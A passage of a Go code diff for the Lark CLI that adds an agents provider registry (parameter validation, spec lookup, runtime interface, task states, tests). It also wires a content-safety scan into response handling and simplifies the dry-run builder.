+				panic("agent: Default violates the param's own declaration: " + at + ": " + err.Error())
+			}
+		}
+	}
+}
+
+// ValidateValue validates one value against a declaration's Type/Enum/Min/Max
+// (shared by Register's Default check and the command layer's per-call
+// validation).
+func ValidateValue(cp CardParam, val string) error {
+	typ := cp.Type
+	if typ == "" {
+		typ = "string"
+	}
+	switch typ {
+	case "integer":
+		n, err := strconv.ParseInt(val, 10, 64)
+		if err != nil {
+			// 超出 int64 是"范围"问题不是"类型"问题——消息必须与事实一致，
+			// 否则调用方会误改类型而不是改数值。
+			if errors.Is(err, strconv.ErrRange) {
+				if cp.Min != nil || cp.Max != nil {
+					return fmt.Errorf("须在 %s 范围内，得到 %s", rangeText(cp), val)
+				}
+				return fmt.Errorf("超出 integer 可表示范围（int64），得到 %q", val)
+			}
+			return fmt.Errorf("需为 integer，得到 %q", val)
+		}
+		if cp.Min != nil && float64(n) < *cp.Min {
+			return fmt.Errorf("须在 %s 范围内，得到 %s", rangeText(cp), val)
+		}
+		if cp.Max != nil && float64(n) > *cp.Max {
+			return fmt.Errorf("须在 %s 范围内，得到 %s", rangeText(cp), val)
+		}
+	case "number":
+		f, err := strconv.ParseFloat(val, 64)
+		if err != nil {
+			return fmt.Errorf("需为 number，得到 %q", val)
+		}
+		if math.IsNaN(f) || math.IsInf(f, 0) {
+			return fmt.Errorf("需为有限 number，得到 %q", val)
+		}
+		if cp.Min != nil && f < *cp.Min {
+			return fmt.Errorf("须在 %s 范围内，得到 %s", rangeText(cp), val)
+		}
+		if cp.Max != nil && f > *cp.Max {
+			return fmt.Errorf("须在 %s 范围内，得到 %s", rangeText(cp), val)
+		}
+	case "boolean":
+		if _, err := strconv.ParseBool(val); err != nil {
+			return fmt.Errorf("需为 boolean，得到 %q", val)
+		}
+	}
+	if len(cp.Enum) > 0 {
+		for _, e := range cp.Enum {
+			if val == e {
+				return nil
+			}
+		}
+		return fmt.Errorf("取值须为 %s，得到 %q", strings.Join(cp.Enum, "|"), val)
+	}
+	return nil
+}
+
+// rangeText renders a Min/Max declaration for error messages ("1..100",
+// ">=1", "<=100").
+func rangeText(cp CardParam) string {
+	switch {
+	case cp.Min != nil && cp.Max != nil:
+		return trimFloat(*cp.Min) + ".." + trimFloat(*cp.Max)
+	case cp.Min != nil:
+		return ">=" + trimFloat(*cp.Min)
+	default:
+		return "<=" + trimFloat(*cp.Max)
+	}
+}
+
+func trimFloat(f float64) string { return strconv.FormatFloat(f, 'f', -1, 64) }
+
+// normalizeSpecParams normalizes declarations in place after validation
+// (currently: empty Type ⇒ "string"), so every downstream consumer reads a
+// canonical form.
+func normalizeSpecParams(s *AgentSpec) {
+	var normalize func(ps []CardParam)
+	normalize = func(ps []CardParam) {
+		for i := range ps {
+			if ps[i].Type == "" {
+				ps[i].Type = "string"
+			}
+			normalize(ps[i].Fields)
+		}
+	}
+	normalize(s.Send.Params)
+	normalize(s.GetTask.Params)
+	normalize(s.ListTasks.Params)
+	normalize(s.CancelTask.Params)
+	normalize(s.ListContexts.Params)
+	normalize(s.GetContext.Params)
+	normalize(s.DeleteContext.Params)
+	normalize(s.DownloadArtifact.Params)
+}
+
+// Info returns the registered provider for a scheme (ok=false if not registered).
+func Info(scheme string) (Provider, bool) {
+	p, ok := providerRegistry[scheme]
+	return p, ok
+}
+
+// LookupSpec resolves the AgentSpec addressed by ref, fully offline: it parses
+// the ref, finds the provider, and returns the matching spec (the instance
+// template, or the catalog entry whose ID matches) plus the parsed agent_id (so
+// callers need not re-parse for rt.AgentID() / the card). An unknown scheme or
+// unknown catalog id returns a typed error (the command layer promotes
+// ParseRef/scheme errors via wrapRefResolveError; the unknown-id error is
+// already typed).
+func LookupSpec(ref string) (Provider, *AgentSpec, string, error) {
+	r, err := ParseRef(ref)
+	if err != nil {
+		return Provider{}, nil, "", err
+	}
+	p, ok := providerRegistry[r.Scheme]
+	if !ok {
+		return Provider{}, nil, "", fmt.Errorf("未知的 agent provider '%s'，当前支持: %s", r.Scheme, KnownSchemes())
+	}
+	if p.Instance != nil {
+		return p, p.Instance, r.AgentID, nil
+	}
+	for i := range p.Catalog {
+		if p.Catalog[i].ID == r.AgentID {
+			return p, &p.Catalog[i], r.AgentID, nil
+		}
+	}
+	return p, nil, "", errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"未知的 %s agent '%s'", r.Scheme, r.AgentID).
+		WithHint("运行 lark-cli agents list %s 查看可用 agent", r.Scheme)
+}
+
+// Kind reports the provider form derived from Catalog vs Instance.
+func (p Provider) Kind() ProviderKind {
+	if p.Instance != nil {
+		return KindInstance
+	}
+	return KindCatalog
+}
+
+// AgentRefFormat is the written form of an agent_ref for this provider, always
+// "<scheme>:<agent_id>" (derived, not stored).
+func (p Provider) AgentRefFormat() string {
+	return p.Scheme + ":<agent_id>"
+}
+
+// ListCatalog is the offline enumeration for a catalog provider (sorted by
+// AgentRef, stable), filtered to the agents visible under `brand`
+// (SpecAvailableForBrand). An instance provider has no static set and returns
+// nil — the command layer then falls back to the optional ListAgents online hook.
+func (p Provider) ListCatalog(brand core.LarkBrand) []AgentSummary {
+	if p.Instance != nil {
+		return nil
+	}
+	out := make([]AgentSummary, 0, len(p.Catalog))
+	for _, s := range p.Catalog {
+		if !SpecAvailableForBrand(&s, brand) {
+			continue
+		}
+		out = append(out, AgentSummary{
+			AgentRef:    p.Scheme + ":" + s.ID,
+			Name:        s.Name,
+			Description: s.Description,
+		})
+	}
+	sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
+	return out
+}
+
+// KnownSchemes returns a comma-separated list of registered schemes (stably
+// sorted), or "(none)" when empty (reused by cmd/agent's unknown-scheme message).
+func KnownSchemes() string {
+	s := RegisteredSchemes()
+	if len(s) == 0 {
+		return "(none)"
+	}
+	return strings.Join(s, ", ")
+}
+
+// RegisteredSchemes lets `agents list` enumerate registered providers (sorted).
+func RegisteredSchemes() []string {
+	s := make([]string, 0, len(providerRegistry))
+	for k := range providerRegistry {
+		s = append(s, k)
+	}
+	sort.Strings(s)
+	return s
+}

internal/agents/registry_test.go

@@ -0,0 +1,244 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"errors"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/internal/core"
+)
+
+// swapRegistry replaces the global providerRegistry with the given map (restored
+// via t.Cleanup), for isolation. It swaps without a lock, so no t.Parallel.
+func swapRegistry(t *testing.T, m map[string]Provider) {
+	t.Helper()
+	saved := providerRegistry
+	providerRegistry = m
+	t.Cleanup(func() { providerRegistry = saved })
+}
+
+// coreSpec is a minimal valid spec: it wires the two mandatory core hooks so it
+// passes Register's checkSpec. Callers set extra hooks / ID on the returned value.
+func coreSpec(id string) AgentSpec {
+	return AgentSpec{
+		ID:      id,
+		Send:    SendOp{Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }},
+		GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
+	}
+}
+
+// instanceProvider builds a minimal valid instance Provider for scheme.
+func instanceProvider(scheme string) Provider {
+	s := coreSpec("")
+	return Provider{
+		Scheme:        scheme,
+		Label:         "test provider",
+		AgentIDSource: "test source",
+		Identities:    []IdentitySpec{{Type: IdentityUser}},
+		Instance:      &s,
+	}
+}
+
+// catalogProvider builds a minimal valid catalog Provider for scheme with the
+// given entry ids.
+func catalogProvider(scheme string, ids ...string) Provider {
+	specs := make([]AgentSpec, 0, len(ids))
+	for _, id := range ids {
+		s := coreSpec(id)
+		s.Name = "name-" + id
+		specs = append(specs, s)
+	}
+	return Provider{
+		Scheme:        scheme,
+		Label:         "test provider",
+		AgentIDSource: "test source",
+		Identities:    []IdentitySpec{{Type: IdentityUser}},
+		Catalog:       specs,
+	}
+}
+
+// mustPanic asserts that fn panics and the message contains wantMsg.
+func mustPanic(t *testing.T, wantMsg string, fn func()) {
+	t.Helper()
+	defer func() {
+		r := recover()
+		if r == nil {
+			t.Fatalf("should panic (want message containing %q)", wantMsg)
+		}
+		msg, _ := r.(string)
+		if !strings.Contains(msg, wantMsg) {
+			t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
+		}
+	}()
+	fn()
+}
+
+// TestRegisterPanicBranches table-drives the Register fail-fast branches.
+func TestRegisterPanicBranches(t *testing.T) {
+	cases := []struct {
+		name    string
+		mutate  func(p *Provider)
+		wantMsg string
+	}{
+		{"empty Scheme", func(p *Provider) { p.Scheme = "" }, "empty Scheme"},
+		{"missing Label", func(p *Provider) { p.Label = "" }, "missing Label"},
+		{"missing AgentIDSource", func(p *Provider) { p.AgentIDSource = "" }, "missing AgentIDSource"},
+		{"missing Identities", func(p *Provider) { p.Identities = nil }, "missing Identities"},
+		{"invalid Identity Type", func(p *Provider) { p.Identities = []IdentitySpec{{Type: "robot"}} }, "got: robot"},
+		{"neither Catalog nor Instance", func(p *Provider) { p.Instance = nil }, "exactly one of Catalog / Instance"},
+		{"both Catalog and Instance", func(p *Provider) { p.Catalog = catalogProvider("x", "a").Catalog }, "exactly one of Catalog / Instance"},
+		{"instance template with ID", func(p *Provider) { p.Instance.ID = "oops" }, "instance template must have empty ID"},
+		{"missing core Send", func(p *Provider) { p.Instance.Send = SendOp{} }, "missing core Send"},
+		{"missing core GetTask", func(p *Provider) { p.Instance.GetTask = TaskGetOp{} }, "missing core GetTask"},
+		{"InputRequired without CancelTask", func(p *Provider) { p.Instance.InputRequired = true }, "wires no CancelTask"},
+		{"InputRequired with narrower CancelTask brands", func(p *Provider) {
+			p.Instance.InputRequired = true
+			p.Instance.CancelTask = TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu},
+				Handler: func(context.Context, Runtime, string) error { return nil }}
+		}, "brand-scoped narrower"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			swapRegistry(t, map[string]Provider{})
+			p := instanceProvider("bad")
+			tc.mutate(&p)
+			mustPanic(t, tc.wantMsg, func() { Register(p) })
+		})
+	}
+}
+
+// TestRegisterCatalogIDPanics pins the catalog-specific ID rules.
+func TestRegisterCatalogIDPanics(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	missingID := catalogProvider("cat", "")
+	mustPanic(t, "catalog spec missing ID", func() { Register(missingID) })
+
+	swapRegistry(t, map[string]Provider{})
+	dup := catalogProvider("cat", "a", "a")
+	mustPanic(t, "duplicate entry ID", func() { Register(dup) })
+}
+
+func TestRegisterDuplicateScheme(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	Register(instanceProvider("dup"))
+	mustPanic(t, "called twice for scheme: dup", func() { Register(instanceProvider("dup")) })
+}
+
+func TestInfoReturnsRegisteredProvider(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	p := instanceProvider("t1")
+	p.RequiredScopes = []string{"t1:chat:write"}
+	Register(p)
+	got, ok := Info("t1")
+	if !ok || got.Label != "test provider" || got.Kind() != KindInstance {
+		t.Fatalf("Info(t1) = %+v, %v", got, ok)
+	}
+	if _, ok := Info("nonexistent"); ok {
+		t.Fatal("Info(nonexistent) should return ok=false")
+	}
+}
+
+func TestKindAndAgentRefFormat(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	inst := instanceProvider("inst")
+	cat := catalogProvider("cat", "a")
+	if inst.Kind() != KindInstance {
+		t.Errorf("instance provider Kind should be instance, got %q", inst.Kind())
+	}
+	if cat.Kind() != KindCatalog {
+		t.Errorf("catalog provider Kind should be catalog, got %q", cat.Kind())
+	}
+	if got := inst.AgentRefFormat(); got != "inst:<agent_id>" {
+		t.Errorf("AgentRefFormat should be inst:<agent_id>, got %q", got)
+	}
+}
+
+func TestListCatalog(t *testing.T) {
+	// Catalog: sorted by AgentRef, stable, instance returns nil.
+	cat := catalogProvider("cat", "zeta", "alpha")
+	got := cat.ListCatalog(core.BrandFeishu)
+	if len(got) != 2 || got[0].AgentRef != "cat:alpha" || got[1].AgentRef != "cat:zeta" {
+		t.Fatalf("ListCatalog should be sorted by AgentRef, got %+v", got)
+	}
+	if instanceProvider("inst").ListCatalog(core.BrandFeishu) != nil {
+		t.Error("instance ListCatalog should be nil")
+	}
+}
+
+func TestKnownSchemesEmpty(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	if got := KnownSchemes(); got != "(none)" {
+		t.Fatalf("an empty registry should return \"(none)\", got %q", got)
+	}
+}
+
+func TestRegisteredSchemesSorted(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	Register(instanceProvider("gamma"))
+	Register(instanceProvider("alpha"))
+	Register(instanceProvider("beta"))
+	got := RegisteredSchemes()
+	want := []string{"alpha", "beta", "gamma"}
+	if !reflect.DeepEqual(got, want) {
+		t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
+	}
+	if s := KnownSchemes(); s != "alpha, beta, gamma" {
+		t.Fatalf("knownSchemes should be comma-joined, got %q", s)
+	}
+}
+
+func TestLookupSpecInvalidRef(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	_, _, _, err := LookupSpec("no-colon")
+	if !errors.Is(err, ErrInvalidRef) {
+		t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
+	}
+}
+
+func TestLookupSpecUnknownScheme(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	_, _, _, err := LookupSpec("nosuch:agt_x")
+	if err == nil {
+		t.Fatal("an unregistered scheme should return an error")
+	}
+	if errors.Is(err, ErrInvalidRef) {
+		t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
+	}
+}
+
+func TestLookupSpecInstance(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	Register(instanceProvider("demo"))
+	prov, spec, agentID, err := LookupSpec("demo:agt_42")
+	if err != nil {
+		t.Fatalf("a valid instance ref should succeed, got %v", err)
+	}
+	if prov.Scheme != "demo" || spec == nil || spec.Send.Handler == nil {
+		t.Fatalf("should return the instance template, got prov=%+v spec=%v", prov, spec)
+	}
+	if agentID != "agt_42" {
+		t.Fatalf("should echo the parsed agentID, got %q", agentID)
+	}
+}
+
+func TestLookupSpecCatalog(t *testing.T) {
+	swapRegistry(t, map[string]Provider{})
+	Register(catalogProvider("cat", "alpha", "beta"))
+	_, spec, agentID, err := LookupSpec("cat:beta")
+	if err != nil {
+		t.Fatalf("a known catalog id should succeed, got %v", err)
+	}
+	if spec == nil || spec.ID != "beta" || agentID != "beta" {
+		t.Fatalf("should return the matching catalog entry, got %+v (id %q)", spec, agentID)
+	}
+	// Unknown id → typed validation error.
+	_, _, _, err = LookupSpec("cat:nope")
+	if err == nil {
+		t.Fatal("an unknown catalog id should return an error")
+	}
+}

internal/agents/runtime.go

@@ -0,0 +1,109 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+
+	"github.com/larksuite/cli/errs"
+)
+
+// Runtime is the only thing a verb hook touches for I/O. It is the agent
+// analogue of the event/shortcut runtime: the framework has already resolved and
+// PINNED the calling identity (user|bot) inside it, so a hook never sees a raw
+// *client.APIClient, never resolves a token, and cannot bypass scope preflight.
+// The concrete implementation lives in cmd/agent (like event's consumeRuntime in
+// cmd/event), which is why internal/agent no longer needs to depend on
+// internal/client — the sole reason the old Deps struct existed.
+type Runtime interface {
+	// AgentID is the agent this call addresses (parsed from the ref by the
+	// framework). A catalog hook may ignore it; an instance template reads it to
+	// know which runtime agent it serves. Request data, not plumbing.
+	AgentID() string
+
+	// IsBot reports the resolved identity kind for the rare hook that must branch
+	// on it. Identity resolution itself stays hidden.
+	IsBot() bool
+
+	// Params returns this call's validated business parameters (a copy — a hook
+	// cannot corrupt framework state). Contract, guaranteed on every verb
+	// command path BEFORE a handler runs: the current operation's Required keys
+	// are present and non-empty; keys with a Default are present (backfilled);
+	// every value passed Type/Enum/Min-Max validation — handlers read directly,
+	// no re-validation, no nil-checking. The card Describe path and a ListAgents
+	// call without ListParams declarations see an empty map. Prefer the typed
+	// accessors (BindParams[T] / ParamInt / ParamBool) over raw map lookups.
+	Params() map[string]string
+
+	// CallAPI issues one JSON OAPI request under the pinned identity and returns
+	// the raw "data" object (the response envelope's data field, already unwrapped
+	// and error-checked) or a typed errs.* error — a hook never does envelope
+	// unwrapping, identity threading, or error classification. Hooks do not use
+	// this directly; they call the typed Call[T] helper below, which decodes the
+	// raw bytes into a struct. query values are strings (page_token, *_id_type, …).
+	CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error)
+
+	// CallMultipart is the file-upload seam: it reproduces the multipart form
+	// upload a real provider would otherwise hand-write (larkcore.NewFormdata +
+	// WithFileUpload), but centralized and identity-opaque. The framework
+	// SafeInputPath-validates and opens each FilePart.Path, builds the multipart
+	// body, pins the identity, and returns the raw "data" object (decode it with
+	// the typed CallUpload[T] helper below). This is what makes the FileInput
+	// capability actually deliverable — without it a provider declaring
+	// FileInput=true but with only a JSON client would silently drop SendInput.Files.
+	CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []FilePart) (json.RawMessage, error)
+}
+
+// Call issues a JSON OAPI request under rt's pinned identity and decodes the
+// response "data" object into T. This is the typed entry point a verb hook uses
+// instead of poking at a map[string]any: declare the response struct you expect
+// and let the framework unmarshal and classify errors. For a genuinely dynamic
+// shape, use Call[map[string]any]. A response with no "data" (e.g. a pure write)
+// yields the zero value of T and a nil error.
+//
+//	type chat struct{ SessionID, AgentChatID string }
+//	c, err := agent.Call[chat](ctx, rt, "POST", path, nil, body)
+func Call[T any](ctx context.Context, rt Runtime, method, path string, query map[string]string, body any) (T, error) {
+	raw, err := rt.CallAPI(ctx, method, path, query, body)
+	if err != nil {
+		var zero T
+		return zero, err
+	}
+	return decodeData[T](method, path, raw)
+}
+
+// CallUpload is the multipart (file-upload) variant of Call: it uploads files
+// and decodes the response "data" object into T.
+func CallUpload[T any](ctx context.Context, rt Runtime, method, path string, fields map[string]string, files []FilePart) (T, error) {
+	raw, err := rt.CallMultipart(ctx, method, path, fields, files)
+	if err != nil {
+		var zero T
+		return zero, err
+	}
+	return decodeData[T](method, path, raw)
+}
+
+// decodeData unmarshals a raw "data" object into T, classifying a decode failure
+// as a typed invalid_response error (consistent with the runtime's own error
+// handling). Empty raw ⇒ zero value, nil error.
+func decodeData[T any](method, path string, raw json.RawMessage) (T, error) {
+	var out T
+	if len(raw) == 0 {
+		return out, nil
+	}
+	if err := json.Unmarshal(raw, &out); err != nil {
+		return out, errs.NewInternalError(errs.SubtypeInvalidResponse,
+			"decode data for %s %s: %v", method, path, err).WithCause(err)
+	}
+	return out, nil
+}
+
+// FilePart is one file to upload. Path comes straight from SendInput.Files and is
+// SafeInputPath-validated by the runtime (the security check stays framework-
+// owned, not re-implemented per provider).
+type FilePart struct {
+	Field string // multipart field name, e.g. "file"
+	Path  string // local path (framework validates + opens)
+}

internal/agents/spi.go

@@ -0,0 +1,26 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+// IdentityType is the closed set of values for IdentitySpec.Type (validated at
+// Register time to guard against typos).
+type IdentityType string
+
+const (
+	IdentityUser IdentityType = "user"
+	IdentityBot  IdentityType = "bot"
+)
+
+// IdentitySpec declares a supported identity and its precondition, if any.
+type IdentitySpec struct {
+	Type         IdentityType `json:"type"` // IdentityUser | IdentityBot
+	Precondition string       `json:"precondition,omitempty"`
+}
+
+// AgentSummary is one discoverable agent in `agents list <scheme>` output.
+type AgentSummary struct {
+	AgentRef    string `json:"agent_ref"`
+	Name        string `json:"name"`
+	Description string `json:"description,omitempty"`
+}

internal/agents/state.go

@@ -0,0 +1,35 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+// TaskState is the A2A task state, constant across all providers (9 states).
+type TaskState string
+
+const (
+	StateSubmitted     TaskState = "submitted"
+	StateWorking       TaskState = "working"
+	StateInputRequired TaskState = "input_required"
+	StateAuthRequired  TaskState = "auth_required"
+	StateCompleted     TaskState = "completed"
+	StateFailed        TaskState = "failed"
+	StateCanceled      TaskState = "canceled"
+	StateRejected      TaskState = "rejected"
+	StateUnknown       TaskState = "unknown"
+)
+
+// IsTerminal reports whether the task has entered a terminal state.
+func (s TaskState) IsTerminal() bool {
+	switch s {
+	case StateCompleted, StateFailed, StateCanceled, StateRejected:
+		return true
+	default:
+		return false
+	}
+}
+
+// ShouldStopPolling reports whether polling should stop: terminal state, or
+// awaiting additional input / re-authentication.
+func (s TaskState) ShouldStopPolling() bool {
+	return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
+}

internal/agents/state_test.go

@@ -0,0 +1,34 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import "testing"
+
+func TestIsTerminal(t *testing.T) {
+	cases := map[TaskState]bool{
+		StateSubmitted: false, StateWorking: false, StateInputRequired: false,
+		StateAuthRequired: false, StateCompleted: true, StateFailed: true,
+		StateCanceled: true, StateRejected: true, StateUnknown: false,
+	}
+	for s, want := range cases {
+		if got := s.IsTerminal(); got != want {
+			t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
+		}
+	}
+}
+
+func TestShouldStopPolling(t *testing.T) {
+	stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
+	cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
+	for _, s := range stop {
+		if !s.ShouldStopPolling() {
+			t.Errorf("%s should stop polling", s)
+		}
+	}
+	for _, s := range cont {
+		if s.ShouldStopPolling() {
+			t.Errorf("%s should keep polling", s)
+		}
+	}
+}

internal/auth/testmain_test.go

@@ -1,23 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"os"
-	"path/filepath"
-	"testing"
-)
-
-func TestMain(m *testing.M) {
-	root, err := os.MkdirTemp("", "lark-cli-internal-auth-test-*")
-	if err != nil {
-		panic(err)
-	}
-	if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
-		panic(err)
-	}
-	code := m.Run()
-	_ = os.RemoveAll(root)
-	os.Exit(code)
-}

internal/client/response.go

@@ -132,14 +132,16 @@ func HandleResponse(resp *larkcore.ApiResp, opts ResponseOptions) error {
 			})
 		}
 
-		emitter := output.NewEmitter(output.EmitterConfig{
-			Out:            opts.Out,
-			ErrOut:         opts.ErrOut,
-			CommandPath:    opts.CommandPath,
-			Identity:       string(identity),
-			NoticeProvider: output.GetNotice,
-		})
-		return emitter.Success(result, output.EmitOptions{Format: opts.Format.String()})
+		// Content safety scanning for non-JSON presentation formats.
+		scanResult := output.ScanForSafety(opts.CommandPath, result, opts.ErrOut)
+		if scanResult.Blocked {
+			return scanResult.BlockErr
+		}
+		if scanResult.Alert != nil {
+			output.WriteAlertWarning(opts.ErrOut, scanResult.Alert)
+		}
+		output.FormatValue(opts.Out, result, opts.Format)
+		return nil
 	}
 
 	// Non-JSON (binary) responses.

internal/client/response_test.go

@@ -18,7 +18,6 @@ import (
 
 	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/vfs/localfileio"
 )
@@ -240,87 +239,6 @@ func TestHandleResponse_JSON(t *testing.T) {
 	}
 }
 
-func TestHandleResponse_NonJSONFormatsEmitExactStructuredResponseBytes(t *testing.T) {
-	tests := []struct {
-		name   string
-		format output.Format
-		want   string
-	}{
-		{
-			name:   "ndjson",
-			format: output.FormatNDJSON,
-			want:   "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Bob\"}\n",
-		},
-		{
-			name:   "table",
-			format: output.FormatTable,
-			want:   "id  name \n──  ─────\n1   Alice\n2   Bob  \n",
-		},
-		{
-			name:   "csv",
-			format: output.FormatCSV,
-			want:   "id,name\n1,Alice\n2,Bob\n",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
-			reg := &httpmock.Registry{}
-			reg.Register(&httpmock.Stub{
-				Method: http.MethodGet,
-				URL:    "/open-apis/test/v1/items",
-				Body: map[string]interface{}{
-					"code": 0,
-					"msg":  "ok",
-					"data": map[string]interface{}{
-						"items": []interface{}{
-							map[string]interface{}{"id": "1", "name": "Alice"},
-							map[string]interface{}{"id": "2", "name": "Bob"},
-						},
-						"has_more": false,
-					},
-				},
-			})
-
-			httpResp, err := httpmock.NewClient(reg).Get("https://open.feishu.cn/open-apis/test/v1/items")
-			if err != nil {
-				t.Fatalf("fixture request failed: %v", err)
-			}
-			body, err := io.ReadAll(httpResp.Body)
-			_ = httpResp.Body.Close()
-			if err != nil {
-				t.Fatalf("read fixture response: %v", err)
-			}
-			resp := &larkcore.ApiResp{
-				StatusCode: httpResp.StatusCode,
-				Header:     httpResp.Header.Clone(),
-				RawBody:    body,
-			}
-
-			var out bytes.Buffer
-			var errOut bytes.Buffer
-			err = HandleResponse(resp, ResponseOptions{
-				Format:      tt.format,
-				Identity:    core.AsBot,
-				Out:         &out,
-				ErrOut:      &errOut,
-				CommandPath: "lark-cli api GET",
-			})
-			if err != nil {
-				t.Fatalf("HandleResponse() error = %v, want nil", err)
-			}
-			if got := out.String(); got != tt.want {
-				t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-			reg.Verify(t)
-		})
-	}
-}
-
 func TestHandleResponse_JSONWithJqUsesSuccessEnvelope(t *testing.T) {
 	body := []byte(`{"code":0,"msg":"ok","data":{"id":"1"}}`)
 	resp := newApiResp(body, map[string]string{"Content-Type": "application/json"})

internal/cmdutil/dryrun.go

@@ -8,29 +8,15 @@ import (
 	"fmt"
 	"io"
 	"net/url"
-	"regexp"
 	"sort"
 	"strings"
 
-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/client"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/util"
 )
 
-var dryRunURLPlaceholderRE = regexp.MustCompile(`:([A-Za-z_][A-Za-z0-9_]*)`)
-
-// DryRunOutputOptions controls dry-run stdout/stderr rendering.
-type DryRunOutputOptions struct {
-	Format      string
-	JqExpr      string
-	CommandPath string
-	Identity    core.Identity
-	Out         io.Writer
-	ErrOut      io.Writer
-}
-
 // DryRunAPICall describes a single API call in dry-run output.
 type DryRunAPICall struct {
 	Desc   string                 `json:"desc,omitempty"`
@@ -40,21 +26,12 @@ type DryRunAPICall struct {
 	Body   interface{}            `json:"body,omitempty"`
 }
 
-// DryRunContext is the execution context shared by every dry-run preview:
-// which app would make the call and, when known, as which user. The identity
-// itself lives at the envelope top level, not here.
-type DryRunContext struct {
-	AppID      string `json:"app_id,omitempty"`
-	UserOpenID string `json:"user_open_id,omitempty"`
-}
-
 // DryRunAPI is the builder and result type for dry-run output.
 // URL templates use :param placeholders; Set stores actual values; MarshalJSON and Format resolve them.
 type DryRunAPI struct {
-	desc    string
-	calls   []DryRunAPICall
-	context *DryRunContext
-	extra   map[string]interface{}
+	desc  string
+	calls []DryRunAPICall
+	extra map[string]interface{}
 }
 
 func NewDryRunAPI() *DryRunAPI {
@@ -63,22 +40,30 @@ func NewDryRunAPI() *DryRunAPI {
 
 // --- HTTP method builders (add a call, return self for chaining) ---
 
-// call appends a request with the method transcribed verbatim, so previews
-// never misreport what the real client would send.
-func (d *DryRunAPI) call(method, url string) *DryRunAPI {
-	d.calls = append(d.calls, DryRunAPICall{Method: method, URL: url})
+func (d *DryRunAPI) GET(url string) *DryRunAPI {
+	d.calls = append(d.calls, DryRunAPICall{Method: "GET", URL: url})
 	return d
 }
 
-func (d *DryRunAPI) GET(url string) *DryRunAPI { return d.call("GET", url) }
+func (d *DryRunAPI) POST(url string) *DryRunAPI {
+	d.calls = append(d.calls, DryRunAPICall{Method: "POST", URL: url})
+	return d
+}
 
-func (d *DryRunAPI) POST(url string) *DryRunAPI { return d.call("POST", url) }
+func (d *DryRunAPI) PUT(url string) *DryRunAPI {
+	d.calls = append(d.calls, DryRunAPICall{Method: "PUT", URL: url})
+	return d
+}
 
-func (d *DryRunAPI) PUT(url string) *DryRunAPI { return d.call("PUT", url) }
+func (d *DryRunAPI) DELETE(url string) *DryRunAPI {
+	d.calls = append(d.calls, DryRunAPICall{Method: "DELETE", URL: url})
+	return d
+}
 
-func (d *DryRunAPI) DELETE(url string) *DryRunAPI { return d.call("DELETE", url) }
-
-func (d *DryRunAPI) PATCH(url string) *DryRunAPI { return d.call("PATCH", url) }
+func (d *DryRunAPI) PATCH(url string) *DryRunAPI {
+	d.calls = append(d.calls, DryRunAPICall{Method: "PATCH", URL: url})
+	return d
+}
 
 // Body sets the request body on the last added call.
 func (d *DryRunAPI) Body(body interface{}) *DryRunAPI {
@@ -113,26 +98,12 @@ func (d *DryRunAPI) Set(key string, value interface{}) *DryRunAPI {
 	return d
 }
 
-// Context records the calling app/user under data.context; empty values are
-// omitted, and a fully empty context is not emitted at all.
-func (d *DryRunAPI) Context(appID, userOpenID string) *DryRunAPI {
-	if appID == "" && userOpenID == "" {
-		return d
-	}
-	d.context = &DryRunContext{AppID: appID, UserOpenID: userOpenID}
-	return d
-}
-
